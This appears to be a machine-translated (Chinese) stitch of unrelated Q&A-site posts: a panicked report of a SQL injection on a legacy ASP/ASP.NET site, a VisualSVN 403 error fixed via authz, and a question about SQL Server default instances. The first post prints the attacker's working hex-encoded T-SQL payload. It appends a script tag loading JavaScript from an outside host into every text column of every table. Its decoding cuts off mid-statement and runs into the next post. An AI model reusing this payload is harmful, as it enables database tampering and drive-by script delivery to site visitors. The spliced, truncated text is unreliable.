可能重复：
我的服务器被黑了 紧急情况
天哪，我绝望了！几个小时前，我们的生产数据库被 sql 注入。
我知道我们的系统有一些大漏洞……因为我们从一个用经典 ASP 做网站的人那里继承了这个网站，他的编程真的很糟糕而且不安全。所以我们花了一些时间将它迁移到 ASP.NET（首先是 1.1，然后是 2.0，现在是 3.5）。但这是一个大项目，仍然有旧的和不安全的代码。我不会撒谎，项目一团糟，我讨厌它，但它是我们最重要的客户（我们只是两个年轻人，不是大公司）。
所以我知道他们以某种方式向我的整个数据库注入了一些 js 脚本引用......这可能是通过一个旧页面使用连接字符串 sql 查询并直接扔到数据库中（因为启动项目的那个人说“存储过程没有't work"..... 所以他使用字符串连接完成了整个站点，并将它们直接扔给 sql 而不做任何安全验证或任何事情。
当我们拿到项目时，客户不想花时间重做老家伙所做的废话。所以我们不得不导致糟糕和不安全的代码并在开发新功能时修复它，因为这是客户想要的......现在我们已经被注入了 sql 他们当然会发疯。
所以....
**有没有办法检查过去 X 小时内执行过的旧 sql 查询？类似于 SQL Profiler 的工作方式（当然，当攻击发生时，我们没有打开 Profiler）？有没有办法找出哪个页面是易受攻击的页面？请帮助，有很多页面。我无法在不知道哪一页是页面的情况下手动搜索这些内容。
另外......他们是否可以通过另一种方式注入数据库？喜欢使用 IIS 请求或 js 之类的吗？**
我拥有对服务器计算机的完全远程桌面访问权限（它不在托管环境中），因此我可以访问服务器上的每个文件、日志和任何内容...
请帮忙！
PS：对不起，我的英语不是很好，现在更紧张了！
编辑
他们抛出的脚本如下
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;
翻译成文字是：
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' …好的，首先，我已经在谷歌上搜索了很多关于这个问题的信息，但没有找到任何解决方案......我在这里和 ServerFault 上搜索过，但没有找到任何东西，所以我最终发布了这个问题在这里（不确定它是在这里还是在 ServerFault 中，抱歉）。
所以这就是交易：我们有一台运行没有问题的 Windows 2003 服务器。我们一直在使用Visual SVN Server作为我们的 Subversion 服务器，并且到目前为止它运行良好。我们有几个星期的假期，所以我们根本没有使用 SVN。今天，当我尝试提交一些东西时，我得到了：
服务器发送意外返回值 (403 Forbidden) 以响应 [repository url] 的 OPTIONS 请求
我们使用 TortoiseSVN 作为我们的 svn 客户端，但问题似乎出在服务器上。我们尝试创建一个新的存储库并导入新文件，同样的错误。我们尝试通过 RDC 从服务器本身访问 SVN 服务器，并尝试通过控制台（svn checkout）和其他命令检出某些东西......一切都会导致该错误。
有些人说这是 URL 上区分大小写的问题......但那不是我们的情况......我已经仔细检查了 URL，它们很好......（无论如何它们存储在 Tortoise 历史记录中，所以那没有改变）。
需要特别说明的一点是，有些人没有使用 Visual SVN（这实际上只是一种通过 2 次点击设置 Subversion 服务器的简单方法，它与任何 Subversion 服务器没有什么不同），但也有同样的问题。所以我不知道问题是否真的是 Visual SVN 本身。
我们迷路了......任何有用的信息将不胜感激。
编辑/解决方案：我在 authz 文件中有一个错误的条目。它试图授予已删除组的权限（我认为 VisualSVN 没有删除 authz 上的条目，但它确实删除了该组），所以我删除了该条目，现在它正在工作。
谢谢
我们有一个开发服务器。首先我们有 SQL 2000（默认实例），当 SQL 2005 出来时，我们将它安装为命名实例。现在我们几乎不使用 SQL2000 实例，但这是默认的。我们希望 SQL2005 成为默认实例并使 2000 成为一个命名实例。这甚至可能吗？
谢谢！